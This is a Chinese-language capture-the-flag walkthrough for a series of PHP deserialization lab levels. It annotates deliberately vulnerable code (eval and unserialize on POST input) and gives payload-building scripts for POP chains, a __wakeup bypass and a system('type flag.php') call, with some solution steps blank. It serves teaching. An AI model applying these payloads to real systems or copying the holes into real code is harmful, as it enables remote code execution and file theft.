第一关 类的实例化

翻译一下:
<?php
// 定义一个名为 FLAG 的类
class FLAG{
// 公有属性:flag字符串,初始值是一段带占位符的内容
public $flag_string = "HelloCTF{???}";
// 构造函数:创建对象时自动执行
function __construct(){
// 输出属性 flag_string 的值
echo $this->flag_string;
}
}
// 获取用户通过 POST 方式提交的 code 参数
$code = $_POST['code'];
// 执行用户提交的 code 代码(高危漏洞:代码执行)
eval($code);
?>
解题:
让服务器执行代码,实例化 FLAG 类,把 flag 打印出来。

第二关 对象中值的传递

翻译一下:
// 关闭所有PHP错误报告(不显示报错信息)
error_reporting(0);
// 定义全局变量 flag_string,存储flag内容
$flag_string = "HelloCTF{???}";
// 定义一个名为 FLAG 的类
class FLAG{
// 公有属性 free_flag,默认值为 ???
public $free_flag = "???";
// 定义方法:输出属性 free_flag 的值
function get_free_flag(){
echo $this->free_flag;
}
}
// 实例化 FLAG 类,创建对象 $target
$target = new FLAG();
// 获取用户通过 POST 方式提交的 code 参数
$code = $_POST['code'];
// 判断是否接收到了 code 参数
if(isset($code)){
// 执行用户提交的代码(存在代码执行漏洞)
eval($code);
// 调用对象的方法,输出 free_flag 的值
$target->get_free_flag();
}
// 未接收到参数时
else{
// 高亮显示源代码文件
highlight_file('source');
}
// 页面底部文字
Now Flag is ???
现在真正的Flag是什么?
解题:
让服务器执行代码,打印flag_string变量
code=var_dump($flag_string); 或者 code=echo $flag_string;

第三关 对象中值的权限

翻译一下:
class FLAG
{
// 定义公有属性 public_flag,初始值为 HelloCTF{?
public $public_flag = "HelloCTF{?";
// 定义受保护属性 protected_flag,初始值为 ?
protected $protected_flag = "?";
// 定义私有属性 private_flag,初始值为 ?}
private $private_flag = "?}";
// 定义方法:获取受保护属性 protected_flag
function get_protected_flag()
{
// 返回当前对象的 protected_flag 属性值
return $this->protected_flag;
}
// 定义方法:获取私有属性 private_flag
function get_private_flag()
{
// 返回当前对象的 private_flag 属性值
return $this->private_flag;
}
}
// 定义 SubFLAG 类,继承自父类 FLAG
class SubFLAG extends FLAG
{
// 子类方法:尝试输出父类的受保护属性
function show_protected_flag()
{
// 返回当前对象的 protected_flag 属性
return $this->protected_flag;
}
// 子类方法:尝试输出父类的私有属性
function show_private_flag()
{
// 返回当前对象的 private_flag 属性
return $this->private_flag;
}
}
// 实例化 FLAG 类,创建对象 target
$target = new FLAG();
// 实例化子类 SubFLAG,创建对象 sub_target
$sub_target = new SubFLAG();
// 获取 POST 提交的名为 code 的参数,赋值给变量 code
$code = $_POST['code'];
// 判断是否接收到了 code 参数
if (isset($code)) {
// 执行 code 里的PHP代码(代码执行漏洞)
eval($code);
// 未接收到 code 参数时,执行以下内容
} else {
// 高亮显示当前PHP文件的源代码
highlight_file(__FILE__);
// 页面输出:正在尝试获取 FLAG,并换行
echo "Trying to get FLAG…<br>";
// 输出公有标识内容,并换行
echo "Public Flag: " . $target->public_flag . "<br>";
// 尝试直接输出受保护属性,会触发报错,并换行
echo "Protected Flag:" . $target->protected_flag . "<br>";
// 尝试直接输出私有属性,会触发报错,并换行
echo "Private Flag:" . $target->private_flag . "<br>";
}
?>
<!– 页面输出文本翻译 –>
Trying to get FLAG… 正在尝试获取FLAG…
Public Flag: HelloCTF{se3_me_ 公开标识:HelloCTF{se3_me_
Protected Flag: Error: Cannot access protected property FLAG:: in ?
受保护标识:错误:无法访问 FLAG 类的受保护属性
Private Flag: Error: Cannot access private property FLAG:: in ?
私有标识:错误:无法访问 FLAG 类的私有属性
…Wait,where is the flag?
……等等,FLAG 到底在哪里?
解题:
传命令,在类内部访问受保护的和私有的变量
code=echo $target->public_flag . $target->get_protected_flag() . $target->get_private_flag();

还可以用code=echo serialize($target); 或 code=echo serialize($sub_target);
将它序列化,输出的结果反序列化拿到flag,

第4关 序列化初体验

翻译一下:
<?php
// 定义 FLAG3 类
class FLAG3{
// 私有属性:数组,内容是两个占位符符号
private $flag3_object_array = array("?","?");
}
// 定义 FLAG 类
class FLAG{
// 私有属性:字符串类型的 flag1
private $flag1_string = "?";
// 私有属性:数字类型的 flag2
private $flag2_number = '?';
// 私有属性:用于存放 FLAG3 类的对象
private $flag3_object;
// 构造函数:创建对象时自动执行
function __construct() {
// 实例化 FLAG3 类,赋值给 flag3_object
$this->flag3_object = new FLAG3();
}
}
// 创建 FLAG 对象,里面包含了完整的 flag
$flag_is_here = new FLAG();
// 接收 POST 提交的 code 参数
$code = $_POST['code'];
// 如果接收到 code,就执行它
if(isset($code)){
eval($code);
}
// 否则显示源代码
else {
highlight_file(__FILE__);
}
?>
解题:
eval 代码执行 + 私有属性访问 + 对象嵌套,使用var_dump直接打印

也可以用code=echo serialize($flag_is_here); 序列化一下

第5关 序列化的普通值规则

翻译一下:
<?php
// 定义一个类 a_class
class a_class{
// 公有属性 a_value,默认值 HelloCTF
public $a_value = "HelloCTF";
}
// 实例化 a_class 类,创建对象
$a_object = new a_class();
// 定义一个数组
$a_array = array(a=>"Hello",b=>"CTF");
// 定义一个字符串
$a_string = "HelloCTF";
// 定义一个数字
$a_number = 678470;
// 定义一个布尔值(真)
$a_boolean = true;
// 定义一个空值
$a_null = null;
// 看看如何序列化:
// 对象序列化结果
a_object: O:7:"a_class":1:{s:7:"a_value";s:8:"HelloCTF";}
// 数组序列化结果
a_array: a:2:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";}
// 字符串序列化结果
a_string: s:8:"HelloCTF";
// 数字序列化结果
a_number: i:678470;
// 布尔值序列化结果
a_boolean: b:1;
// 空值序列化结果
a_null: N;
// 现在轮到你了!
// 反序列化 POST 传入的 o 参数(对象)
$your_object = unserialize($_POST['o']);
// 反序列化 POST 传入的 a 参数(数组)
$your_array = unserialize($_POST['a']);
// 反序列化 POST 传入的 s 参数(字符串)
$your_string = unserialize($_POST['s']);
// 反序列化 POST 传入的 i 参数(数字)
$your_number = unserialize($_POST['i']);
// 反序列化 POST 传入的 b 参数(布尔)
$your_boolean = unserialize($_POST['b']);
// 反序列化 POST 传入的 n 参数(空)
$your_NULL = unserialize($_POST['n']);
// 判断条件:全部满足才能拿到 flag
if(
$your_boolean && // 布尔值必须为真
$your_NULL == null && // 空值必须等于 null
$your_string == "IWANT" && // 字符串必须是 IWANT
$your_number == 1 && // 数字必须是 1
$your_object->a_value == "FLAG" && // 对象属性必须是 FLAG
$your_array['a'] == "Plz" && $your_array['b'] == "Give_M3" // 数组必须是 Plz 和 Give_M3
){
// 满足条件,输出 flag
echo $flag;
}
else{
// 不满足,输出提示
echo "You really know how to serialize?";
}
?>
解题:
传入反序列化语句,并且满足所有要求。
用Visual Studio Code编辑反序列化语句
class a_class
{
public $a_value = "HelloCTF";
}
$o = new a_class();
$o->a_value = "FLAG";
$a = array(a => "Plz", b => "Give_M3");
$s = "IWANT";
$i = 1;
$b = TRUE;
$n = null;
echo 'o=' . serialize($o) . '&a=' . serialize($a) . '&s=' . serialize($s) . '&i=' . serialize($i) . '&b=' . serialize($b) . '&n=' . serialize($n);
输出的反序列化语句

传语句
第6关 序列化的权限修饰规则

翻译一下:
用Visual Studio Code编辑反序列化语句
<?php
// 定义受保护密钥类
class protectedKEY{
// 受保护属性:protected_key
protected $protected_key;
// 获取密钥的方法
function get_key(){
return $this->protected_key;
}
}
// 定义私有密钥类
class privateKEY{
// 私有属性:private_key
private $private_key;
// 获取密钥的方法
function get_key(){
return $this->private_key;
}
}
// 仔细看 ~
// 受保护属性序列化结果:O:12:"protectedKEY":1:{s:16:"%00*%00protected_key";N;}
// 私有属性序列化结果:O:10:"privateKEY":1:{s:23:"%00privateKEY%00private_key";N;}
// 反序列化用户POST提交的 protected_key
$protected_key = unserialize($_POST['protected_key']);
// 反序列化用户POST提交的 private_key
$private_key = unserialize($_POST['private_key']);
// 判断两个对象是否都存在
if(isset($protected_key)&&isset($private_key)){
// 判断:受保护密钥等于 protected_key 且 私有密钥等于 private_key
if($protected_key->get_key() == "protected_key" && $private_key->get_key() == "private_key"){
// 满足条件,输出flag
echo $flag;
} else {
// 不满足条件,输出提示
echo "We Call it %00_Contr0l_Characters_NULL!";
}
} else {
// 未提交参数,显示源代码
highlight_file(__FILE__);
}
?>
解题:
给protected和private 属性传语句
用Visual Studio Code编辑,序列化后再url编码语句
<?php
class protectedKEY
{
protected $protected_key = "protected_key";
function get_key()
{
return $this->protected_key;
}
}
class privateKEY
{
private $private_key = "private_key";
function get_key()
{
return $this->private_key;
}
}
echo 'protected_key=' . urlencode(serialize(new protectedKEY())) . '&private_key=' . urlencode(serialize(new privateKEY()));
?>
第7关 实例化和反序列化

翻译一下:
<?php
// 定义 FLAG 类
class FLAG{
// 公有属性,存储一段命令字符串
public $flag_command = "echo 'Hello CTF!<br>';";
// 后门方法:执行属性里的代码
function backdoor(){
eval($this->flag_command);
}
}
// 手动构造的序列化字符串
$unserialize_string = 'O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello World!<br>';";}';
// 正常实例化对象
$Instantiate_object = new FLAG();
// 反序列化得到对象
$Unserialize_object = unserialize($unserialize_string);
// 调用正常对象的后门方法
$Instantiate_object->backdoor();
// 调用反序列化对象的后门方法
$Unserialize_object->backdoor();
// 输出结果说明
'$Instantiate_object->backdoor()' will output:Hello CTF!
'$Unserialize_object->backdoor()' will output:Hello World!
<?php /* 现在轮到你了 */
// 接收 POST 提交的 o 参数,反序列化后直接调用 backdoor 方法
unserialize($_POST['o'])->backdoor();
?>
解题:
把恶意语句序列化后传入,服务器执行
用Visual Studio Code编辑,输出语句序列化的结果
<?php
class FLAG
{
public $flag_command = "var_dump(file_get_contents('flag.php'));";
function backdoor()
{
eval($this->flag_command);
}
}
echo "o=" . serialize(new FLAG());
?>

其他语句构造也可



第8关 构造函数和析构函数以及GC机制


翻译一下:
<?php
// 定义全局变量
global $destruct_flag;
global $construct_flag;
// 初始化计数器
$destruct_flag = 0;
$construct_flag = 0;
// 定义 FLAG 类
class FLAG {
public $class_name;
// 构造函数:对象创建时自动调用
public function __construct($class_name)
{
$this->class_name = $class_name;
global $construct_flag;
$construct_flag++; // 构造次数 +1
echo "构造函数被调用 " . $construct_flag . "<br>";
}
// 析构函数:对象销毁时自动调用
public function __destruct()
{
global $destruct_flag;
$destruct_flag++; // 销毁次数 +1
echo "析构函数被调用 " . $destruct_flag . "<br>";
}
}
/* 创建对象 */
$demo = new FLAG('demo');
/* 序列化对象 */
$s = serialize($demo);
/* 反序列化对象 */
$n = unserialize($s);
/* 销毁反序列化后的对象 */
unset($n);
/* 销毁原始对象 */
unset($demo);
/* 注意:
这里为了方便演示是手动销毁,
通常情况下,当脚本执行完毕后,PHP会将未显式销毁的对象自动销毁,该行也会调用析构函数 */
/* 另外:
还有比较特殊的情况:PHP 的 GC(垃圾回收机制)会在脚本运行时自动管理内存,销毁不被引用的对象 */
// 创建一个不赋值给变量的对象
new FLAG();
// ======================================================
/* 现在轮到你了!尝试获取 flag! */
class RELFLAG {
// 构造函数
public function __construct()
{
global $flag;
$flag = 0;
$flag++;
echo "构造函数被调用 " . $flag . "<br>";
}
// 析构函数
public function __destruct()
{
global $flag;
$flag++;
echo "析构函数被调用 " . $flag . "<br>";
}
}
// 检查函数
function check(){
global $flag;
// 如果 $flag 大于 5,输出 flag
if($flag > 5){
echo "HelloCTF{???}";
}else{
echo "检测到 flag 为 ". $flag;
}
}
// 如果接收到 POST 提交的 code
if (isset($_POST['code'])) {
eval($_POST['code']); // 执行代码
check(); // 执行检查
}
?>
//页面输出文字翻译
对象创建:构造函数被调用 1
对象序列化:但什么都没发生
对象反序列化:也什么都没发生
序列化对象销毁:析构函数被调用 1
原始对象销毁:析构函数被调用 2
这个对象 (new FLAG();) 会被立即销毁,因为它没有赋值给任何变量:
构造函数被调用 2
析构函数被调用 3
现在轮到你了!尝试获取 flag!
解题:
需要创建大量对象,让构造 + 析构次数叠加到 >5 即可。
邪修方法

正常方法

或者

第9关 构造函数的后门

翻译一下:
<?php
// 定义 FLAG 类
class FLAG {
// 公有属性:存放要执行的命令
var $flag_command = "echo 'HelloCTF';";
// 析构函数:对象销毁时**自动执行**
public function __destruct()
{
// 执行 flag_command 里的代码
eval ($this->flag_command);
}
}
// 反序列化用户 POST 提交的 o 参数(漏洞入口)
unserialize($_POST['o']);
?>
解题:
析构函数 __destruct () 自动触发,传序列化过的语句

第10关 __wakeup()

翻译一下:
<?php
// 关闭所有错误提示(不显示报错)
error_reporting(0);
// 定义 FLAG 类
class FLAG{
// 魔术方法:反序列化时**自动触发**
function __wakeup() {
// 包含 flag 文件
include 'flag.php';
// 输出 flag 内容
echo $flag;
}
}
// 判断是否 POST 提交了参数 o
if(isset($_POST['o']))
{
// 反序列化你提交的数据(触发漏洞)
unserialize($_POST['o']);
}else {
// 没提交就显示源代码
highlight_file(__FILE__);
}
?>
解题:
__wakeup():反序列化时自动执行,随便序列化一个 FLAG 对象提交过去。
用Visual Studio Code编辑
class FLAG
{
function __wakeup()
{
include 'flag.php';
echo $flag;
}
}
echo "o=" . serialize(new FLAG());

第11关 __wakeup() CVE-2016-7124

翻译一下:
<?php
// 关闭所有错误报告
error_reporting(0);
// 引入 flag.php 文件(真flag在这里)
include 'flag.php';
// 定义 FLAG 类
class FLAG {
// 公有属性,默认值是假flag
public $flag = "FAKEFLAG";
// __wakeup 魔术方法:反序列化时自动调用
public function __wakeup(){
global $flag; // 使用全局的真flag
$flag = NULL; // 把flag设置为空(清空flag)
}
// __destruct 析构方法:对象销毁时自动调用
public function __destruct(){
global $flag; // 使用全局的真flag
if ($flag !== NULL) { // 如果flag不为空
echo $flag; // 输出真flag
}else{
echo "sorry,flag is gone!"; // 否则输出提示
}
}
}
// 判断是否 POST 提交了参数 o
if(isset($_POST['o']))
{
unserialize($_POST['o']); // 反序列化用户输入
}else {
highlight_file(__FILE__); // 显示源码
phpinfo(); // 输出phpinfo
}
?>
解题:
当序列化字符串中属性数量 > 实际属性数量时,__wakeup() 方法会被跳过不执行,所以构造序列化字符串,让属性数量写大一点,跳过 __wakeup ()
用Visual Studio Code编辑
include 'flag.php';
class FLAG
{
public $flag = "FAKEFLAG";
public function __wakeup()
{
global $flag;
$flag = NULL;
}
public function __destruct()
{
global $flag;
if ($flag !== NULL) {
echo $flag;
} else {
echo "sorry,flag is gone!";
}
}
}
echo serialize(new FLAG());
s:4时flag不出现

s:2时flag出现

第12关 __sleep()

翻译一下:
<?php
// 定义 FLAG 基类
class FLAG {
private $f; // 私有属性
private $l; // 私有属性
protected $a; // 受保护属性
public $g; // 公有属性
public $x,$y,$z; // 三个公有属性
// __sleep 魔术方法:序列化时只序列化返回的属性
public function __sleep() {
// 只序列化 x,y,z
return ['x','y','z'];
}
}
// 定义 CHALLENGE 子类,继承 FLAG
class CHALLENGE extends FLAG {
public $h,$e,$l,$I,$o,$c,$t,$f; // 一堆公有属性
// chance 方法:获取 GET 参数 chance
function chance() {
return $_GET['chance'];
}
// 重写 __sleep 方法
public function __sleep() {
/* Flag 组成规则:$h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g */
$array_list = ['h','e','l','I','o','c','t','f','f','l','a','g'];
// 随机取两个属性名
$_=array_rand($array_list);
$__=array_rand($array_list);
// 返回:随机属性1 + 随机属性2 + 你传入的 chance 参数值
return array(
$array_list[$_],
$array_list[$__],
$this->chance()
);
}
}
// 实例化并序列化 FLAG 类
$FLAG = new FLAG();
echo serialize($FLAG);
// 实例化并序列化 CHALLENGE 类
echo serialize(new CHALLENGE());
?>
//页面输出提示翻译
如果你序列化 FLAG 类,只会得到 x,y,z
O:4:"FLAG":3:{s:1:"x";N;s:1:"y";N;s:1:"z";N;}
—— 每次请求会随机返回两个属性,你也可以用 chance 来指定你想要的属性 ——
现在 __sleep() 返回的数组是:array('a','l','you shuold use it')
序列化结果:
O:9:"CHALLENGE":3:{s:4:"*a";s:4:"4nd_";s:1:"l";s:17:"__sleep_function_";s:17:"you shuold use it";N;}
解题:
序列化时,只会序列化 __sleep() 返回数组里的属性,父类 / 子类 都可以重写这个方法。
前两个属性名随机,通过?chance=想要的属性名 来控制序列化结果里的第三个属性名,拼接出flag

第13关 __toString()

翻译一下:
<?php
// 定义 FLAG 类
class FLAG {
// __toString() 魔术方法:
// 当对象被当作**字符串**使用时,自动触发执行
function __toString() {
echo "I'm a string ~~~";
// 包含 flag 文件
include 'flag.php';
// 返回 flag 的值
return $flag;
}
}
// 创建一个 FLAG 对象
$obj = new FLAG();
// 判断是否 POST 提交了参数 o
if(isset($_POST['o'])) {
// 执行用户提交的代码(存在代码执行漏洞)
eval($_POST['o']);
} else {
// 没有提交参数,就显示源代码
highlight_file(__FILE
解题:
__toString() 触发条件,对象被当作字符串使用时自动触发
类的实例当字符串处理执行echo $obj;

第14关 __invoke()

翻译一下:
<?php
// 定义 FLAG 类
class FLAG{
// __invoke() 魔术方法:
// 当对象被当作**函数调用**时自动触发
function __invoke($x) {
// 如果传入的参数是 'get_flag'
if ($x == 'get_flag') {
// 包含 flag 文件
include 'flag.php';
// 输出 flag
echo $flag;
}
}
}
// 创建一个 FLAG 对象
$obj = new FLAG();
// 判断是否 POST 提交了参数 o
if(isset($_POST['o'])) {
// 执行你提交的代码(代码执行漏洞)
eval($_POST['o']);
} else {
// 没提交就显示源代码
highlight_file(__FILE__);
}
?>
解题:
__invoke() 触发条件:把对象当成函数调用时,自动执行这个方法。
类的实例当函数执行o=$obj('get_flag');

或者用

第15关 pop链前置

翻译一下:
<?php
// 高亮显示当前源代码
highlight_file(__FILE__);
// 定义类 A
class A {
// 公有属性 a
public $a;
// 构造函数:创建对象时自动给属性 a 赋值
public function __construct($a) {
$this->a = $a;
}
}
// 定义类 B
class B {
// 公有属性 b
public $b;
// 构造函数:创建对象时自动给属性 b 赋值
public function __construct($b) {
$this->b = $b;
}
}
// 定义类 C
class C {
// 公有属性 c
public $c;
// 构造函数:创建对象时自动给属性 c 赋值
public function __construct($c) {
$this->c = $c;
}
}
// 定义类 D
class D {
// 公有属性 d
public $d;
// 构造函数:创建对象时自动给属性 d 赋值
public function __construct($d) {
$this->d = $d;
}
// 魔术方法:反序列化时自动触发
public function __wakeUp() {
// 调用属性 d 指向对象的 action() 方法
$this->d->action();
}
}
// 最终执行类(漏洞点)
class destnation {
// 声明命令属性
var $cmd;
// 构造函数:创建对象时自动给 cmd 赋值
public function __construct($cmd) {
$this->cmd = $cmd;
}
// 执行方法:存在 eval 代码执行漏洞
public function action(){
// 执行嵌套对象属性中的代码
eval($this->cmd->a->b->c);
}
}
// 判断是否 POST 提交参数 o
if(isset($_POST['o'])) {
// 反序列化用户提交的数据(漏洞入口)
unserialize($_POST['o']);
} else {
// 没有提交数据则显示源代码
highlight_file(__FILE__);
}
?>
//页面提示文字翻译
POST 提交 o 参数即可触发反序列化
没提交参数则显示当前文件源码
解题:
构造多层对象嵌套,拼接完整调用链,最终执行任意代码拿 flag
D → destnation → A → B → C → C::$c(恶意代码) → eval执行
visual studio code里面写
class A
{
public $a;
public function __construct($a)
{
$this->a = $a;
}
}
class B
{
public $b;
public function __construct($b)
{
$this->b = $b;
}
}
class C
{
public $c;
public function __construct($c)
{
$this->c = $c;
}
}
class D
{
public $d;
public function __construct($d)
{
$this->d = $d;
}
public function __wakeUp()
{
$this->d->action();
}
}
class destnation
{
var $cmd;
public function __construct($cmd)
{
$this->cmd = $cmd;
}
public function action()
{
eval($this->cmd->a->b->c);
}
}
$c = new C('system("type flag.php");');
$b = new B($c);
$a = new A($b);
$destnation = new destnation($a);
$d = new D($destnation);
echo serialize($d);

第16关 pop链构造

翻译一下:
<?php
// 定义一个名为 A 的类
class A {
// 声明一个公共属性 $a
public $a;
// 魔术方法:当对象被当作函数调用时自动执行
public function __invoke() {
// 包含(引入)文件,文件路径为 $a 的值
include $this->a;
// 返回 $flag 变量的值
return $flag;
}
}
// 定义一个名为 B 的类
class B {
// 声明一个公共属性 $b
public $b;
// 魔术方法:当对象被当作字符串使用时自动执行
public function __toString() {
// 将属性 $b 的值赋值给变量 $f
$f = $this->b;
// 调用 $f(),把 $f 当作函数执行
return $f();
}
}
// 定义一个名为 INIT 的类
class INIT {
// 声明一个公共属性 $name
public $name;
// 魔术方法:反序列化时自动执行
public function __wakeUp() {
// 输出:属性 name 的值 + " is awake!"
echo $this->name.' is awake!';
}
}
// 判断是否通过 POST 方式提交了参数 o
if(isset($_POST['o'])) {
// 对提交的 o 参数进行反序列化操作(漏洞点)
unserialize($_POST['o']);
// 如果没有提交参数 o
} else {
// 高亮显示当前文件源代码
highlight_file(__FILE__);
}
解题:
触发 INIT::__wakeup() → 输出 $this->name(把 name 当字符串)→ 触发 B::__toString() → $this->b() 调用对象 → 触发 A::__invoke() → include flag.php 拿到 flag。
visual studio code里面写
class A
{
public $a;
public function __invoke()
{
include $this->a;
return $flag;
}
}
class B
{
public $b;
public function __toString()
{
$f = $this->b;
return $f();
}
}
class INIT
{
public $name;
public function __wakeUp()
{
echo $this->name . ' is awake!';
}
}
$a = new A();
$a->a = 'flag.php';
$b = new B();
$b->b = $a;
$init = new INIT();
$init->name = $b;
echo serialize($init);

17关 字符串逃逸基础-无中生有
提示:

题:

翻译一下:
<?php
// 定义空类 A
class A {
}
// 输出空类 A 的序列化结果
echo "空类 A 的序列化结果: '".serialize(new A())."'<br>";
// 定义类 B,包含3个不同权限的属性
class B {
public $a = "Hello"; // 公有属性
protected $b = "CTF"; // 受保护属性
private $c = "FLAG{TEST}"; // 私有属性
}
// 输出类 B 的序列化结果
echo "包含3个属性的类 B 的序列化结果: '".serialize(new B())."'<br>";
// 将类 B 的对象序列化
$serliseString = serialize(new B());
// **关键操作**:把序列化字符串里的类名 "B" 替换成 "A"
$serliseString = str_replace('B', 'A', $serliseString);
echo "将 B 替换为 A 后,进行反序列化并输出结果:<br>";
// 反序列化替换后的字符串
var_dump(unserialize($serliseString));
// 题目核心判断逻辑
if(isset($_POST['o'])) {
// 反序列化用户提交的数据
$a = unserialize($_POST['o']);
// 核心判断条件:
// 1. 对象必须是类 A 的实例
// 2. 对象的属性 helloctfcmd 必须等于 "get_flag"
if ($a instanceof A && $a->helloctfcmd == "get_flag") {
// 满足条件,输出 flag
include 'flag.php';
echo $flag;
} else {
echo "what's rule?";
}
} else {
// 未提交参数,显示源代码
highlight_file(__FILE__);
}
?>
//提示文字翻译
空类 A 的序列化结果: 'O:1:"A":0:{}'
包含3个属性的类 B 的序列化结果: 'O:1:"B":3:{s:1:"a";s:5:"Hello";s:4:"*b";s:3:"CTF";s:5:"Bc";s:10:"FLAG{TEST}";}'
将 B 替换为 A 后,进行反序列化并输出结果:
object(A)#2 (3) { ["a"]=> string(5) "Hello" ["*b"]=> string(3) "CTF" ["Bc"]=> string(10) "FLAG{TEST}" }
what's rule?
规则是什么?
解题:
空类 A 可以接收来自类 B 的所有属性
所以需要构造一个类 A 的对象,但它拥有属性 helloctfcmd = "get_flag"
visual studio code里面写

18关 字符串逃逸基础-尾部判定

翻译一下:
<?php
// 高亮显示当前文件源代码
highlight_file(__FILE__);
// 定义 Demo 类
class Demo {
// 公有属性 a,默认值 Hello
public $a = "Hello";
// 公有属性 b,默认值 CTF
public $b = "CTF";
// 公有属性 key,默认值 GET_FLAG";}FAKE_FLAG
public $key = 'GET_FLAG";}FAKE_FLAG';
}
// 定义空类 FLAG
class FLAG {
}
// 序列化 Demo 类对象,得到序列化字符串
$serliseStringDemo = serialize(new Demo());
// 获取 GET 传入的参数 target
$target = $_GET['target'];
// 获取 GET 传入的参数 change
$change = $_GET['change'];
// 用 target 替换序列化字符串中的内容
$serliseStringFLAG = str_replace($target, $change, $serliseStringDemo);
// 反序列化修改后的字符串
$FLAG = unserialize($serliseStringFLAG);
// 判断:反序列化后的对象是 FLAG 类,且 key 属性等于 GET_FLAG
if ($FLAG instanceof FLAG && $FLAG->key == 'GET_FLAG') {
// 满足条件,输出 flag
echo $flag;
}
?>
//页面提示文字翻译
SerliseStringDemo:'O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}'
Demo 类的序列化字符串:'O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}'
Change SOMETHING TO GET FLAG
修改某些内容以获取 FLAG
Your serliaze string is
你的序列化字符串是
O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}
And Here is
这里是
object(Demo)#1 (3) { ["a"]=> string(5) "Hello" ["b"]=> string(3) "CTF" ["key"]=> string(20) "GET_FLAG";}FAKE_FLAG" }
解题:
控制str_replace($target, $change, 序列化字符串)
满足两个条件
1. $FLAG instanceof FLAG → 类名必须是 FLAG
2. $FLAG->key == 'GET_FLAG' → key 的值必须是 GET_FLAG
原始 Demo 类序列化字符串,然后更改类名 Demo → FLAG,key 的长度 s:20 → s:8








